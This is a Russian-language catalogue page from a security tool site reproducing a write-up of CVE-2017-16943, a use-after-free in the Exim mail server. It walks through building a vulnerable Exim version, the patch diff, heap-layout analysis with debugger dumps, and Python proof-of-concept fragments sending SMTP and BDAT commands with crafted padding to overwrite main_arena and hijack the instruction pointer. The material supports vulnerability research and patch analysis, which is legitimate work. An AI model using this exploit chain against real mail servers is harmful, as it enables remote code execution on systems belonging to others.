Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-16943 | Kitploit
Инструменты/GitHubGitHub/beraphin/cve-2017-16943
Криминалистика памятиАнализ уязвимостейЭксплуатацияОтладчикиОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubberaphin/cve-2017-16943

CVE-2017-16943

Репозиторий
6 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-16943

Настройка среды

root@kitploit:~
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Измените переменные пути и имя пользователя в Makefile

root@kitploit:~
cd ..
make -j8
sudo make install

После установки измените accept hosts = : на accept hosts = * в файле configure. Запуск:

root@kitploit:~
exim -bdf -d-receive

Анализ уязвимости

Эта уязвимость — UAF (использование после освобождения), она находится в функции receive_msg в файле receive.c, которая принимает ввод от клиента. Посмотрите запись патча:

root@kitploit:~
 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

Сначала поясним назначение нескольких глобальных переменных:

root@kitploit:~
current_block: текущий storeblock, при следующем вызове store_get_3 сначала ищется свободная область в этом storeblock
next_yield: указывает на начальный адрес свободной области в current_block; как правило, верхняя часть storeblock используется, нижняя свободна
yield_length: длина next_yield

Анализ PoC от meh показывает, что непатченная программа может вызвать UAF через следующий процесс компоновки кучи: Сначала в функции receive_msg делаем так, чтобы next->text стал начальным буфером storeblock: 1

Затем с помощью команды bdat выделите буфер под этим text.
Почему используется команда bdat?
На самом деле, команды как auth plain или недопустимые команды из непечатных символов также могут выделить буфер под text, но другие инструкции заставят функцию receive_msg завершиться.
После повторного входа в receive_msg next->text будет указывать на другую область, поэтому уязвимость не сработает.
Команда bdat не завершает текущую функцию receive_msg — это очень важно. 2

Затем непрерывно отправляйте символы, пока next->text не заполнится (изначально 0x100), после чего программа перейдёт к уязвимому месту.
В store_extend обнаруживается, что из-за буфера bdat расширение невозможно, поэтому выполняется store_get, получающий область, на которую указывает next_yield, а затем вызывается store_release.
В этой функции проверяется только, является ли освобождаемый блок началом storeblock, но не проверяется, есть ли за ним другие буферы, поэтому storeblock просто освобождается.
В результате адрес, возвращаемый store_get, всё ещё находится внутри current_block, но сразу после этого current_block освобождается, что приводит к UAF.

Перехват RIP

Здесь мы шаг за шагом разберём, как перехватить RIP, используя PoC код.

root@kitploit:~
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

Сначала отправьте кучу данных. Цель — сделать yield_length меньше 0x130, но больше 0x30.
Почему это нужно? Посмотрим на начало функции receive_msg:

root@kitploit:~
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

Видно, что перед выделением next->text выделяются два буфера размером sizeof(header_line) (0x18).
Если после выделения этих двух блоков размер yield_length станет меньше 0x100, то при выделении next->text внутри store_get будет выделен новый storeblock, и next->text будет находиться в начале этого storeblock.

Затем вызываем команду bdat:

root@kitploit:~
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

Эта команда содержит непечатный символ, что приводит к вызову store_get для выделения буфера под сообщение об ошибке:

root@kitploit:~
pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(Даже если недопустимая инструкция содержит непечатные символы, это может привести к дополнительному выделению кучи.)

Теперь непрерывно отправляем символы:

root@kitploit:~
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

Постепенно байты будут записываться в next->text. Когда свободная область размером 0x100 заполнится, программа дойдёт до уязвимого кода для расширения next->text.
Сначала вызывается store_extend(next->text, oldsize, header_size) для попытки расширения:

root@kitploit:~
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

Основная проверка в строках 276–277.
Первое условие — находится ли за расширяемым указателем ptr сразу next_yield.
Второе — достаточно ли места с учётом yield_length.
Очевидно, первое условие не выполняется, потому что за next->text идёт буфер bdat, а потом уже next_yield.

Затем вызывается store_get для выделения нового блока, который располагается на next_yield.
После этого вызывается store_release для освобождения исходного next->text. Обратите внимание на логику проверки:

root@kitploit:~
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452: 
453: /* It will never be the first block, so no need to check that. */
454: 
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456:   {
457:   storeblock *bb = b->next;
458:   if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459:     {
...
482:     free(bb);
483:     return;
484:     }
485:   }
486: }
487: 

Программа проходит по цепочке storeblock, начиная с chainbase, по указателю next, и если освобождаемый блок находится в начале какого-то storeblock (второе условие в строке 455), этот storeblock освобождается.
Но в этот момент current_block указывает на эту кучу, и новый next->text тоже находится внутри этой кучи, поэтому происходит UAF.
После освобождения куча current_block попадает в unsorted bin:

root@kitploit:~
pwndbg> tel &current_block
00:0000│   0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│   0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│   0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│   0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│   0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│   0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg> 

Теперь main_arena добавляется в цепочку storeblock.

По мере поступления символов исходный next->text неоднократно расширяется через store_extend.
Хотя current_block уже освобождён, next_yield по-прежнему указывает внутрь current_block, что позволяет next->text расширяться через store_extend, пока не заполнит весь current_block.
Когда расширение становится невозможным, снова вызывается store_get для получения нового блока:

root@kitploit:~
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138: 
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142: 
143: if (size > yield_length[store_pool])
144:   {
145:   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146:   int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147:   storeblock * newblock = NULL;
148: 
149:   /* Sometimes store_reset() may leave a block for us; check if we can use it */
150: 
151:   if (  (newblock = current_block[store_pool])
152:      && (newblock = newblock->next)
153:      && newblock->length < length
154:      )
155:     {
156:     /* Give up on this block, because it's too small */
157:     store_free(newblock);
158:     newblock = NULL;
159:     } 
...

В строках 151–153 программа пытается получить current_block->next и проверяет, достаточно ли он велик. Если нет, он освобождается.
Обратите внимание: current_block сейчас находится в unsorted bin, current_block->next указывает на main_arena, последнее условие не выполняется, поэтому newblock = main_arena.

root@kitploit:~
File: store.c
176:   current_block[store_pool] = newblock;
177:   yield_length[store_pool] = newblock->length;
178:   next_yield[store_pool] =
179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181:   }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];

Программа напрямую возвращает main_arena как новый буфер. Затем в строке 1824 содержимое старого блока копируется в новый, то есть перезаписывается main_arena.

root@kitploit:~
File: receive.c
1816:   if (ptr >= header_size - 4)
1817:     {
1818:     int oldsize = header_size;
1819:     /* header_size += 256; */
1820:     header_size *= 2;
1821:     if (!store_extend(next->text, oldsize, header_size))
1822:       {
1823:       uschar *newtext = store_get(header_size);
1824:       memcpy(newtext, next->text, ptr);
1825:       store_release(next->text);
1826:       next->text = newtext;
1827:       }
1828:     }

Эта перезапись напрямую затронет free_got, поэтому последующими простыми действиями можно перехватить RIP.

Ссылки

https://bugs.exim.org/show_bug.cgi?id=2199

https://paper.seebug.org/469/

Скачать инструмент